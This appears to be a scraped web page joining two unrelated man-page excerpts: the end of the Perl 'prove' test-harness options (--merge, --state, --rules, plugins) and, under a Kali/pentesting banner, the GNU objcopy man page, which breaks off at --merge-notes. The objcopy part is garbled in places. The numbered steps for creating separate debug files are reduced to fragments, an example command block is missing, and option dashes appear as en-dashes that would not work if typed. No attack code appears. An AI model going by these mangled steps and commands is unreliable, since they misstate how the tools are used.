If you need to make sure your diagnostics are displayed in the correct order relative to test results you can use the --merge option to merge the test scripts’ STDERR into their STDOUT.

This guarantees that STDOUT (where the test results appear) and STDERR (where the diagnostics appear) will stay in sync. The harness will display any diagnostics your tests emit on STDERR.

Caveat: this is a bit of a kludge. In particular note that if anything that appears on STDERR looks like a test result the test harness will get confused. Use this option only if you understand the consequences and can live with the risk.

“–trap”

The --trap option will attempt to trap SIGINT (Ctrl-C) during a test run and display the test summary even if the run is interrupted

“–state”

You can ask prove to remember the state of previous test runs and select and/or order the tests to be run based on that saved state.

The --state switch requires an argument which must be a comma separated list of one or more of the following options.

“last”
Run the same tests as the last time the state was saved. This makes it possible, for example, to recreate the ordering of a shuffled test. # Run all tests in random order $ prove -b –state=save –shuffle # Run them again in the same order $ prove -b –state=last

“failed”
Run only the tests that failed on the last run. # Run all tests $ prove -b –state=save # Run failures $ prove -b –state=failed If you also specify the save option newly passing tests will be excluded from subsequent runs. # Repeat until no more failures $ prove -b –state=failed,save

“passed”
Run only the passed tests from last time. Useful to make sure that no new problems have been introduced.

“all”
Run all tests in normal order. Multiple options may be specified, so to run all tests with the failures from last time first: $ prove -b –state=failed,all,save

“hot”
Run the tests that most recently failed first. The last failure time of each test is stored. The hot option causes tests to be run in most-recent- failure order. $ prove -b –state=hot,save Tests that have never failed will not be selected. To run all tests with the most recently failed first use $ prove -b –state=hot,all,save This combination of options may also be specified thus $ prove -b –state=adrian

“todo”
Run any tests with todos.

“slow”
Run the tests in slowest to fastest order. This is useful in conjunction with the -j parallel testing switch to ensure that your slowest tests start running first. $ prove -b –state=slow -j9

“fast”
Run test tests in fastest to slowest order.

“new”
Run the tests in newest to oldest order based on the modification times of the test scripts.

“old”
Run the tests in oldest to newest order.

“fresh”
Run those test scripts that have been modified since the last test run.

“save”
Save the state on exit. The state is stored in a file called .prove (_prove on Windows and VMS) in the current directory.

The --state switch may be used more than once.

$ prove -b –state=hot –state=all,save

–rules

The --rules option is used to control which tests are run sequentially and which are run in parallel, if the --jobs option is specified. The option may be specified multiple times, and the order matters.

The most practical use is likely to specify that some tests are not “parallel-ready”. Since mentioning a file with –rules doesn’t cause it to be selected to run as a test, you can “set and forget” some rules preferences in your .proverc file. Then you’ll be able to take maximum advantage of the performance benefits of parallel testing, while some exceptions are still run in parallel.

–rules examples

# All tests are allowed to run in parallel, except those starting with “p” –rules=seq=t/p*.t –rules=par=** # All tests must run in sequence except those starting with “p”, which should be run parallel –rules=par=t/p*.t

–rules resolution

  • By default, all tests are eligible to be run in parallel. Specifying any of your own rules removes this one.

  • “First match wins”. The first rule that matches a test will be the one that applies.

  • Any test which does not match a rule will be run in sequence at the end of the run.

  • The existence of a rule does not imply selecting a test. You must still specify the tests to run.

  • Specifying a rule to allow tests to run in parallel does not make them run in parallel. You still need specify the number of parallel jobs in your Harness object.

–rules Glob-style pattern matching

We implement our own glob-style pattern matching for –rules. Here are the supported patterns:

** is any number of characters, including /, within a pathname * is zero or more characters within a filename/directory name ? is exactly one character within a filename/directory name {foo,bar,baz} is any of foo, bar or baz. \ is an escape character

More advanced specifications for parallel vs sequence run rules

If you need more advanced management of what runs in parallel vs in sequence, see the associated ‘rules’ documentation in TAP::Harness and TAP::Parser::Scheduler. If what’s possible directly through prove is not sufficient, you can write your own harness to access these features directly.

@INC

prove introduces a separation between “options passed to the perl which runs prove” and “options passed to the perl which runs tests”; this distinction is by design. Thus the perl which is running a test starts with the default @INC. Additional library directories can be added via the PERL5LIB environment variable, via -Ifoo in PERL5OPT or via the -Ilib option to prove.

Taint Mode

Normally when a Perl program is run in taint mode the contents of the PERL5LIB environment variable do not appear in @INC.

Because PERL5LIB is often used during testing to add build directories to @INC prove passes the names of any directories found in PERL5LIB as -I switches. The net effect of this is that PERL5LIB is honoured even when prove is run in taint mode.

FORMATTERS

You can load a custom TAP::Parser::Formatter:

prove –formatter MyFormatter

SOURCE HANDLERS

You can load custom TAP::Parser::SourceHandlers, to change the way the parser interprets particular sources of TAP.

prove –source MyHandler –source YetAnother t

If you want to provide config to the source you can use:

prove –source MyCustom \ –source Perl –perl-option foo=bar baz –perl-option avg=0.278 \ –source File –file-option extensions=.txt –file-option extensions=.tmp t –source pgTAP –pgtap-option pset=format=html –pgtap-option pset=border=2

Each --$source-option option must specify a key/value pair separated by an =. If an option can take multiple values, just specify it multiple times, as with the extensions= examples above. If the option should be a hash reference, specify the value as a second pair separated by a =, as in the pset= examples above (escape = with a backslash).

All --sources are combined into a hash, and passed to “new” in TAP::Harness’s sources parameter.

See TAP::Parser::IteratorFactory for more details on how configuration is passed to SourceHandlers.

PLUGINS

Plugins can be loaded using the -Pplugin syntax, eg:

prove -PMyPlugin

This will search for a module named App::Prove::Plugin::MyPlugin, or failing that, MyPlugin. If the plugin can’t be found, prove will complain & exit.

You can pass arguments to your plugin by appending =arg1,arg2,etc to the plugin name:

prove -PMyPlugin=fou,du,fafa

Please check individual plugin documentation for more details.

Available Plugins

For an up-to-date list of plugins available, please check CPAN:

<http://search.cpan.org/search?query=App%3A%3AProve+Plugin>

Writing Plugins

Please see “PLUGINS” in App::Prove.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1263 - Linux cli command objcopy

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command objcopy and provides detailed information about the command objcopy, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the objcopy.

NAME 🖥️ objcopy 🖥️

copy and translate object files

SYNOPSIS

objcopy [-F bfdname|–target=bfdname] [-I bfdname|–input-target=bfdname] [-O bfdname|–output-target=bfdname] [-B bfdarch|–binary-architecture=bfdarch] [-S|–strip-all] [-g|–strip-debug] [–strip-unneeded] [-K symbolname|–keep-symbol=symbolname] [–keep-file-symbols] [–keep-section-symbols] [-N symbolname|–strip-symbol=symbolname] [–strip-unneeded-symbol=symbolname] [-G symbolname|–keep-global-symbol=symbolname] [–localize-hidden] [-L symbolname|–localize-symbol=symbolname] [–globalize-symbol=symbolname] [–globalize-symbols=filename] [-W symbolname|–weaken-symbol=symbolname] [-w|–wildcard] [-x|–discard-all] [-X|–discard-locals] [-b byte|–byte=byte] [-i [breadth]|–interleave[=breadth]] [–interleave-width=width] [-j sectionpattern|–only-section=sectionpattern] [-R sectionpattern|–remove-section=sectionpattern] [–keep-section=sectionpattern] [–remove-relocations=sectionpattern] [–strip-section-headers] [-p|–preserve-dates] [-D|–enable-deterministic-archives] [-U|–disable-deterministic-archives] [–debugging] [–gap-fill=val] [–pad-to=address] [–set-start=val] [–adjust-start=incr] [–change-addresses=incr] [–change-section-address sectionpattern{=,+,-}val] [–change-section-lma sectionpattern{=,+,-}val] [–change-section-vma sectionpattern{=,+,-}val] [–change-warnings] [–no-change-warnings] [–set-section-flags sectionpattern=flags] [–set-section-alignment sectionpattern=align] [–add-section sectionname=filename] [–dump-section sectionname=filename] [–update-section sectionname=filename] [–rename-section oldname=newname[,flags]] [–long-section-names {enable,disable,keep}] [–change-leading-char] [–remove-leading-char] [–reverse-bytes=num] [–srec-len=ival] [–srec-forceS3] [–redefine-sym old=new] [–redefine-syms=filename] [–weaken] [–keep-symbols=filename] [–strip-symbols=filename] [–strip-unneeded-symbols=filename] [–keep-global-symbols=filename] [–localize-symbols=filename] [–weaken-symbols=filename] [–add-symbol name=[section:]value[,flags]] [–alt-machine-code=index] [–prefix-symbols=string] [–prefix-sections=string] [–prefix-alloc-sections=string] [–add-gnu-debuglink=path-to-file] [–only-keep-debug] [–strip-dwo] [–extract-dwo] [–extract-symbol] [–writable-text] [–readonly-text] [–pure] [–impure] [–file-alignment=num] [–heap=reserve[,commit]] [–image-base=address] [–section-alignment=num] [–stack=reserve[,commit]] [–subsystem=which:major.minor] [–compress-debug-sections] [–decompress-debug-sections] [–elf-stt-common=val] [–merge-notes] [–no-merge-notes] [–verilog-data-width=val] [-v|–verbose] [-V|–version] [–help] [–info] infile [outfile]

DESCRIPTION

The GNU objcopy utility copies the contents of an object file to another. objcopy uses the GNU BFD Library to read and write the object files. It can write the destination object file in a format different from that of the source object file. The exact behavior of objcopy is controlled by command-line options. Note that objcopy should be able to copy a fully linked file between any two formats. However, copying a relocatable object file between any two formats may not work as expected.

objcopy creates temporary files to do its translations and deletes them afterward. objcopy uses BFD to do all its translation work; it has access to all the formats described in BFD and thus is able to recognize most formats without being told explicitly.

objcopy can be used to generate S-records by using an output target of srec (e.g., use -O srec).

objcopy can be used to generate a raw binary file by using an output target of binary (e.g., use -O binary). When objcopy generates a raw binary file, it will essentially produce a memory dump of the contents of the input object file. All symbols and relocation information will be discarded. The memory dump will start at the load address of the lowest section copied into the output file.

When generating an S-record or a raw binary file, it may be helpful to use -S to remove sections containing debugging information. In some cases -R will be useful to remove sections which contain information that is not needed by the binary file.

Note—objcopy is not able to change the endianness of its input files. If the input format has an endianness (some formats do not), objcopy can only copy the inputs into file formats that have the same endianness or which have no endianness (e.g., srec). (However, see the –reverse-bytes option.)

OPTIONS

infile

outfile

The input and output files, respectively. If you do not specify outfile, objcopy creates a temporary file and destructively renames the result with the name of infile.

-I bfdname

–input-target=bfdname

Consider the source file’s object format to be bfdname, rather than attempting to deduce it.

-O bfdname

–output-target=bfdname

Write the output file using the object format bfdname.

-F bfdname

–target=bfdname

Use bfdname as the object format for both the input and the output file; i.e., simply transfer data from source to destination with no translation.

-B bfdarch

–binary-architecture=bfdarch

Useful when transforming a architecture-less input file into an object file. In this case the output architecture can be set to bfdarch. This option will be ignored if the input file has a known bfdarch. You can access this binary data inside a program by referencing the special symbols that are created by the conversion process. These symbols are called _binary_objfile_start, _binary_objfile_end and _binary_objfile_size. e.g. you can transform a picture file into an object file and then access it in your code using these symbols.

-j sectionpattern

–only-section=sectionpattern

Copy only the indicated sections from the input file to the output file. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. Wildcard characters are accepted in sectionpattern. If the first character of sectionpattern is the exclamation point (!) then matching sections will not be copied, even if earlier use of –only-section on the same command line would otherwise copy it. For example: –only-section=.text.* –only-section=!.text.foo will copy all sectinos matching ‘.text.*’ but not the section ‘.text.foo’.

-R sectionpattern

–remove-section=sectionpattern

Remove any section matching sectionpattern from the output file. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. Wildcard characters are accepted in sectionpattern. Using both the -j and -R options together results in undefined behaviour. If the first character of sectionpattern is the exclamation point (!) then matching sections will not be removed even if an earlier use of –remove-section on the same command line would otherwise remove it. For example: –remove-section=.text.* –remove-section=!.text.foo will remove all sections matching the pattern ‘.text.*’, but will not remove the section ‘.text.foo’.

–keep-section=sectionpattern
When removing sections from the output file, keep sections that match sectionpattern.

–remove-relocations=sectionpattern
Remove non-dynamic relocations from the output file for any section matching sectionpattern. This option may be given more than once. Note that using this option inappropriately may make the output file unusable, and attempting to remove a dynamic relocation section such as .rela.plt from an executable or shared library with –remove-relocations=.plt will not work. Wildcard characters are accepted in sectionpattern. For example: –remove-relocations=.text.* will remove the relocations for all sections matching the pattern ‘.text.*’. If the first character of sectionpattern is the exclamation point (!) then matching sections will not have their relocation removed even if an earlier use of –remove-relocations on the same command line would otherwise cause the relocations to be removed. For example: –remove-relocations=.text.* –remove-relocations=!.text.foo will remove all relocations for sections matching the pattern ‘.text.*’, but will not remove relocations for the section ‘.text.foo’.

–strip-section-headers
Strip section header This option is specific to ELF files. Implies –strip-all and –merge-notes.

-S

–strip-all

Do not copy relocation and symbol information from the source file. Also deletes debug sections.

-g

–strip-debug

Do not copy debugging symbols or sections from the source file.

–strip-unneeded
Remove all symbols that are not needed for relocation processing in addition to debugging symbols and sections stripped by –strip-debug.

-K symbolname

–keep-symbol=symbolname

When stripping symbols, keep symbol symbolname even if it would normally be stripped. This option may be given more than once.

-N symbolname

–strip-symbol=symbolname

Do not copy symbol symbolname from the source file. This option may be given more than once.

–strip-unneeded-symbol=symbolname
Do not copy symbol symbolname from the source file unless it is needed by a relocation. This option may be given more than once.

-G symbolname

–keep-global-symbol=symbolname

Keep only symbol symbolname global. Make all other symbols local to the file, so that they are not visible externally. This option may be given more than once. Note: this option cannot be used in conjunction with the –globalize-symbol or –globalize-symbols options.

–localize-hidden
In an ELF object, mark all symbols that have hidden or internal visibility as local. This option applies on top of symbol-specific localization options such as -L.

-L symbolname

–localize-symbol=symbolname

Convert a global or weak symbol called symbolname into a local symbol, so that it is not visible externally. This option may be given more than once. Note - unique symbols are not converted.

-W symbolname

–weaken-symbol=symbolname

Make symbol symbolname weak. This option may be given more than once.

–globalize-symbol=symbolname
Give symbol symbolname global scoping so that it is visible outside of the file in which it is defined. This option may be given more than once. Note: this option cannot be used in conjunction with the -G or –keep-global-symbol options.

-w

–wildcard

Permit regular expressions in symbolnames used in other command line options. The question mark (?), asterisk (*), backslash (\ and square brackets ([]) operators can be used anywhere in the symbol name. If the first character of the symbol name is the exclamation point (!) then the sense of the switch is reversed for that symbol. For example: -w -W !foo -W fo* would cause objcopy to weaken all symbols that start with “fo” except for the symbol “foo”.

-x

–discard-all

Do not copy non-global symbols from the source file.

-X

–discard-locals

Do not copy compiler-generated local symbols. (These usually start with L or ..)

-b byte

–byte=byte

If interleaving has been enabled via the –interleave option then start the range of bytes to keep at the byteth byte. byte can be in the range from 0 to breadth-1, where breadth is the value given by the –interleave option.

-i [breadth]

–interleave[=breadth]

Only copy a range out of every breadth bytes. (Header data is not affected). Select which byte in the range begins the copy with the –byte option. Select the width of the range with the –interleave-width option. This option is useful for creating files to program ROM. It is typically used with an srec output target. Note that objcopy will complain if you do not specify the –byte option as well. The default interleave breadth is 4, so with –byte set to 0, objcopy would copy the first byte out of every four bytes from the input to the output.

–interleave-width=width
When used with the –interleave option, copy width bytes at a time. The start of the range of bytes to be copied is set by the –byte option, and the extent of the range is set with the –interleave option. The default value for this option is 1. The value of width plus the byte value set by the –byte option must not exceed the interleave breadth set by the –interleave option. This option can be used to create images for two 16-bit flashes interleaved in a 32-bit bus by passing -b 0 -i 4 –interleave-width=2 and -b 2 -i 4 –interleave-width=2 to two objcopy commands. If the input was ‘12345678’ then the outputs would be ‘1256’ and ‘3478’ respectively.

-p

–preserve-dates

Set the access and modification dates of the output file to be the same as those of the input file. This option also copies the date stored in a PE format file’s header, unless the SOURCE_DATE_EPOCH environment variable is defined. If it is defined then this variable will be used as the date stored in the header, interpreted as the number of seconds since the Unix epoch.

-D

–enable-deterministic-archives

Operate in deterministic mode. When copying archive members and writing the archive index, use zero for UIDs, GIDs, timestamps, and use consistent file modes for all files. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the -U option, below.

-U

–disable-deterministic-archives

Do not operate in deterministic mode. This is the inverse of the -D option, above: when copying archive members and writing the archive index, use their actual UID, GID, timestamp, and file mode values. This is the default unless binutils was configured with –enable-deterministic-archives.

–debugging
Convert debugging information, if possible. This is not the default because only certain debugging formats are supported, and the conversion process can be time consuming.

–gap-fill val
Fill gaps between sections with val. This operation applies to the load address (LMA) of the sections. It is done by increasing the size of the section with the lower address, and filling in the extra space created with val.

–pad-to address
Pad the output file up to the load address address. This is done by increasing the size of the last section. The extra space is filled in with the value specified by –gap-fill (default zero).

–set-start val
Set the start address (also known as the entry address) of the new file to val. Not all object file formats support setting the start address.

–change-start incr

–adjust-start incr

Change the start address (also known as the entry address) by adding incr. Not all object file formats support setting the start address.

–change-addresses incr

–adjust-vma incr

Change the VMA and LMA addresses of all sections, as well as the start address, by adding incr. Some object file formats do not permit section addresses to be changed arbitrarily. Note that this does not relocate the sections; if the program expects sections to be loaded at a certain address, and this option is used to change the sections such that they are loaded at a different address, the program may fail.

–change-section-address sectionpattern{=,+,-}val

–adjust-section-vma sectionpattern{=,+,-}val

Set or change both the VMA address and the LMA address of any section matching sectionpattern. If = is used, the section address is set to val. Otherwise, val is added to or subtracted from the section address. See the comments under –change-addresses, above. If sectionpattern does not match any sections in the input file, a warning will be issued, unless –no-change-warnings is used.

–change-section-lma sectionpattern{=,+,-}val
Set or change the LMA address of any sections matching sectionpattern. The LMA address is the address where the section will be loaded into memory at program load time. Normally this is the same as the VMA address, which is the address of the section at program run time, but on some systems, especially those where a program is held in ROM, the two can be different. If = is used, the section address is set to val. Otherwise, val is added to or subtracted from the section address. See the comments under –change-addresses, above. If sectionpattern does not match any sections in the input file, a warning will be issued, unless –no-change-warnings is used.

–change-section-vma sectionpattern{=,+,-}val
Set or change the VMA address of any section matching sectionpattern. The VMA address is the address where the section will be located once the program has started executing. Normally this is the same as the LMA address, which is the address where the section will be loaded into memory, but on some systems, especially those where a program is held in ROM, the two can be different. If = is used, the section address is set to val. Otherwise, val is added to or subtracted from the section address. See the comments under –change-addresses, above. If sectionpattern does not match any sections in the input file, a warning will be issued, unless –no-change-warnings is used. Note - changing the VMA of sections in a fully linked binary can be dangerous since there may be code that expects the sections to be located at their old address.

–change-warnings

–adjust-warnings

If –change-section-address or –change-section-lma or –change-section-vma is used, and the section pattern does not match any sections, issue a warning. This is the default.

–no-change-warnings

–no-adjust-warnings

Do not issue a warning if –change-section-address or –adjust-section-lma or –adjust-section-vma is used, even if the section pattern does not match any sections.

–set-section-flags sectionpattern=flags
Set the flags for any sections matching sectionpattern. The flags argument is a comma separated string of flag names. The recognized names are alloc, contents, load, noload, readonly, code, data, rom, exclude, share, debug, and large. You can set the contents flag for a section which does not have contents, but it is not meaningful to clear the contents flag of a section which does have contents–just remove the section instead. Not all flags are meaningful for all object file formats. In particular the share flag is only meaningful for COFF format files and not for ELF format files. The ELF x86-64 specific flag large corresponds to SHF_X86_64_LARGE.

–set-section-alignment sectionpattern=align
Set the alignment for any sections matching sectionpattern. align specifies the alignment in bytes and must be a power of two, i.e. 1, 2, 4, 8…. Note - setting a section’s alignment will not automatically align its LMA or VMA addresses. If those need to be changed as well then the –change-section-lma and/or –change-section-vma options should be used. Also note that changing VMAs can cause problems in fully linked binaries where there may be code that expects the contents of the sections to be located at their old address.

–add-section sectionname=filename
Add a new section named sectionname while copying the file. The contents of the new section are taken from the file filename. The size of the section will be the size of the file. This option only works on file formats which can support sections with arbitrary names. Note - it may be necessary to use the –set-section-flags option to set the attributes of the newly created section.

–dump-section sectionname=filename
Place the contents of section named sectionname into the file filename, overwriting any contents that may have been there previously. This option is the inverse of –add-section. This option is similar to the –only-section option except that it does not create a formatted file, it just dumps the contents as raw binary data, without applying any relocations. The option can be specified more than once.

–update-section sectionname=filename
Replace the existing contents of a section named sectionname with the contents of file filename. The size of the section will be adjusted to the size of the file. The section flags for sectionname will be unchanged. For ELF format files the section to segment mapping will also remain unchanged, something which is not possible using –remove-section followed by –add-section. The option can be specified more than once. Note - it is possible to use –rename-section and –update-section to both update and rename a section from one command line. In this case, pass the original section name to –update-section, and the original and new section names to –rename-section.

–add-symbol name=[section:]value[,flags]
Add a new symbol named name while copying the file. This option may be specified multiple times. If the section is given, the symbol will be associated with and relative to that section, otherwise it will be an ABS symbol. Specifying an undefined section will result in a fatal error. There is no check for the value, it will be taken as specified. Symbol flags can be specified and not all flags will be meaningful for all object file formats. By default, the symbol will be global. The special flag ‘before=othersym’ will insert the new symbol in front of the specified othersym, otherwise the symbol(s) will be added at the end of the symbol table in the order they appear.

–rename-section oldname=newname[,flags]
Rename a section from oldname to newname, optionally changing the section’s flags to flags in the process. This has the advantage over using a linker script to perform the rename in that the output stays as an object file and does not become a linked executable. This option accepts the same set of flags as the –set-section-flags option. This option is particularly helpful when the input format is binary, since this will always create a section called .data. If for example, you wanted instead to create a section called .rodata containing binary data you could use the following command line to achieve it: objcopy -I binary -O <output_format> -B <architecture> \ –rename-section .data=.rodata,alloc,load,readonly,data,contents \ <input_binary_file> <output_object_file>

–long-section-names {enable,disable,keep}
Controls the handling of long section names when processing COFF and PE-COFF object formats. The default behaviour, keep, is to preserve long section names if any are present in the input file. The enable and disable options forcibly enable or disable the use of long section names in the output object; when disable is in effect, any long section names in the input object will be truncated. The enable option will only emit long section names if any are present in the inputs; this is mostly the same as keep, but it is left undefined whether the enable option might force the creation of an empty string table in the output file.

–change-leading-char
Some object file formats use special characters at the start of symbols. The most common such character is underscore, which compilers often add before every symbol. This option tells objcopy to change the leading character of every symbol when it converts between object file formats. If the object file formats use the same leading character, this option has no effect. Otherwise, it will add a character, or remove a character, or change a character, as appropriate.

–remove-leading-char
If the first character of a global symbol is a special symbol leading character used by the object file format, remove the character. The most common symbol leading character is underscore. This option will remove a leading underscore from all global symbols. This can be useful if you want to link together objects of different file formats with different conventions for symbol names. This is different from –change-leading-char because it always changes the symbol name when appropriate, regardless of the object file format of the output file.

–reverse-bytes=num
Reverse the bytes in a section with output contents. A section length must be evenly divisible by the value given in order for the swap to be able to take place. Reversing takes place before the interleaving is performed. This option is used typically in generating ROM images for problematic target systems. For example, on some target boards, the 32-bit words fetched from 8-bit ROMs are re-assembled in little-endian byte order regardless of the CPU byte order. Depending on the programming model, the endianness of the ROM may need to be modified. Consider a simple file with a section containing the following eight bytes: 12345678. Using –reverse-bytes=2 for the above example, the bytes in the output file would be ordered 21436587. Using –reverse-bytes=4 for the above example, the bytes in the output file would be ordered 43218765. By using –reverse-bytes=2 for the above example, followed by –reverse-bytes=4 on the output file, the bytes in the second output file would be ordered 34127856.

–srec-len=ival
Meaningful only for srec output. Set the maximum length of the Srecords being produced to ival. This length covers both address, data and crc fields.

–srec-forceS3
Meaningful only for srec output. Avoid generation of S1/S2 records, creating S3-only record format.

–redefine-sym old=new
Change the name of a symbol old, to new. This can be useful when one is trying link two things together for which you have no source, and there are name collisions.

–redefine-syms=filename
Apply –redefine-sym to each symbol pair “old new” listed in the file filename. filename is simply a flat file, with one symbol pair per line. Line comments may be introduced by the hash character. This option may be given more than once.

–weaken
Change all global symbols in the file to be weak. This can be useful when building an object which will be linked against other objects using the -R option to the linker. This option is only effective when using an object file format which supports weak symbols.

–keep-symbols=filename
Apply –keep-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–strip-symbols=filename
Apply –strip-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–strip-unneeded-symbols=filename
Apply –strip-unneeded-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–keep-global-symbols=filename
Apply –keep-global-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–localize-symbols=filename
Apply –localize-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–globalize-symbols=filename
Apply –globalize-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once. Note: this option cannot be used in conjunction with the -G or –keep-global-symbol options.

–weaken-symbols=filename
Apply –weaken-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–alt-machine-code=index
If the output architecture has alternate machine codes, use the indexth code instead of the default one. This is useful in case a machine is assigned an official code and the tool-chain adopts the new code, but other applications still depend on the original code being used. For ELF based architectures if the index alternative does not exist then the value is treated as an absolute number to be stored in the e_machine field of the ELF header.

–writable-text
Mark the output text as writable. This option isn’t meaningful for all object file formats.

–readonly-text
Make the output text write protected. This option isn’t meaningful for all object file formats.

–pure
Mark the output file as demand paged. This option isn’t meaningful for all object file formats.

–impure
Mark the output file as impure. This option isn’t meaningful for all object file formats.

–prefix-symbols=string
Prefix all symbols in the output file with string.

–prefix-sections=string
Prefix all section names in the output file with string.

–prefix-alloc-sections=string
Prefix all the names of all allocated sections in the output file with string.

–add-gnu-debuglink=path-to-file
Creates a .gnu_debuglink section which contains a reference to path-to-file and adds it to the output file. Note: the file at path-to-file must exist. Part of the process of adding the .gnu_debuglink section involves embedding a checksum of the contents of the debug info file into the section. If the debug info file is built in one location but it is going to be installed at a later time into a different location then do not use the path to the installed location. The –add-gnu-debuglink option will fail because the installed file does not exist yet. Instead put the debug info file in the current directory and use the –add-gnu-debuglink option without any directory components, like this: objcopy –add-gnu-debuglink=foo.debug At debug time the debugger will attempt to look for the separate debug info file in a set of known locations. The exact set of these locations varies depending upon the distribution being used, but it typically includes:

“* The same directory as the executable.”

“* A sub-directory of the directory containing the executable”

called .debug

“* A global debug directory such as /usr/lib/debug.”

As long as the debug info file has been installed into one of these locations before the debugger is run everything should work correctly.

–keep-section-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying section names, which would otherwise get stripped.

–keep-file-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying source file names, which would otherwise get stripped.

–only-keep-debug
Strip a file, removing contents of any sections that would not be stripped by –strip-debug and leaving the debugging sections intact. In ELF files, this preserves all note sections in the output. Note - the section headers of the stripped sections are preserved, including their sizes, but the contents of the section are discarded. The section headers are preserved so that other tools can match up the debuginfo file with the real executable, even if that executable has been relocated to a different address space. The intention is that this option will be used in conjunction with –add-gnu-debuglink to create a two part executable. One a stripped binary which will occupy less space in RAM and in a distribution and the second a debugging information file which is only needed if debugging abilities are required. The suggested procedure to create these files is as follows:

  1. foo then…

  2. create a file containing the debugging info.

  3. stripped executable.

  4. to add a link to the debugging info into the stripped executable.

Note—the choice of .dbg as an extension for the debug info file is arbitrary. Also the --only-keep-debug step is optional. You could instead do this:

i.e., the file pointed to by the –add-gnu-debuglink can be the full executable. It does not have to be a file created by the –only-keep-debug switch. Note—this switch is only intended for use on fully linked files. It does not make sense to use it on object files where the debugging information may be incomplete. Besides the gnu_debuglink feature currently only supports the presence of one filename containing debugging information, not multiple filenames on a one-per-object-file basis.

–strip-dwo
Remove the contents of all DWARF .dwo sections, leaving the remaining debugging sections and all symbols intact. This option is intended for use by the compiler as part of the -gsplit-dwarf option, which splits debug information between the .o file and a separate .dwo file. The compiler generates all debug information in the same file, then uses the –extract-dwo option to copy the .dwo sections to the .dwo file, then the –strip-dwo option to remove those sections from the original .o file.

–extract-dwo
Extract the contents of all DWARF .dwo sections. See the –strip-dwo option for more information.

–file-alignment num
Specify the file alignment. Sections in the file will always begin at file offsets which are multiples of this number. This defaults to 512. [This option is specific to PE targets.]

–heap reserve

–heap reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as heap for this program. [This option is specific to PE targets.]

–image-base value
Use value as the base address of your program or dll. This is the lowest memory location that will be used when your program or dll is loaded. To reduce the need to relocate and improve performance of your dlls, each should have a unique base address and not overlap any other dlls. The default is 0x400000 for executables, and 0x10000000 for dlls. [This option is specific to PE targets.]

–section-alignment num
[This option is specific to PE targets.] Sets the section alignment field in the PE header - if one is present in the binary. Sections in memory will always begin at addresses which are a multiple of this number. Defaults to 0x1000. Note - this option will also set the alignment field in each section’s flags. Note - if a section’s LMA or VMA addresses are no longer aligned, and those addresses have not been set via the –set-section-lma or –set-section-vma options, and the file has been fully relocated then a warning message will be issued. It will then be up to the user to decide if the LMA and VMA need updating.

–stack reserve

–stack reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as stack for this program. [This option is specific to PE targets.]

–subsystem which

–subsystem which:major

–subsystem which:major.minor

Specifies the subsystem under which your program will execute. The legal values for which are native, windows, console, posix, efi-app, efi-bsd, efi-rtd, sal-rtd, and xbox. You may optionally set the subsystem version also. Numeric values are also accepted for which. [This option is specific to PE targets.]

–extract-symbol
Keep the file’s section flags and symbols but remove all section data. Specifically, the option:

*<removes the contents of all sections;>

*<sets the size of every section to zero; and>

*<sets the file’s start address to zero.>

This option is used to build a .sym file for a VxWorks kernel. It can also be a useful way of reducing the size of a –just-symbols linker input file.

–compress-debug-sections
Compress DWARF debug sections using zlib with SHF_COMPRESSED from the ELF ABI. Note - if compression would actually make a section larger, then it is not compressed.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

For ELF files, these options control how DWARF debug sections are compressed. –compress-debug-sections=none is equivalent to –decompress-debug-sections. –compress-debug-sections=zlib and –compress-debug-sections=zlib-gabi are equivalent to –compress-debug-sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections using the obsoleted zlib-gnu format. The debug sections are renamed to begin with .zdebug. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note - if compression would actually make a section larger, then it is not compressed nor renamed.

–decompress-debug-sections
Decompress DWARF debug sections. For a .zdebug section, the original name is restored.

–elf-stt-common=yes

–elf-stt-common=no

For ELF files, these options control whether common symbols should be converted to the STT_COMMON or STT_OBJECT type. –elf-stt-common=yes converts common symbol type to STT_COMMON. –elf-stt-common=no converts common symbol type to STT_OBJECT.

–merge-notes

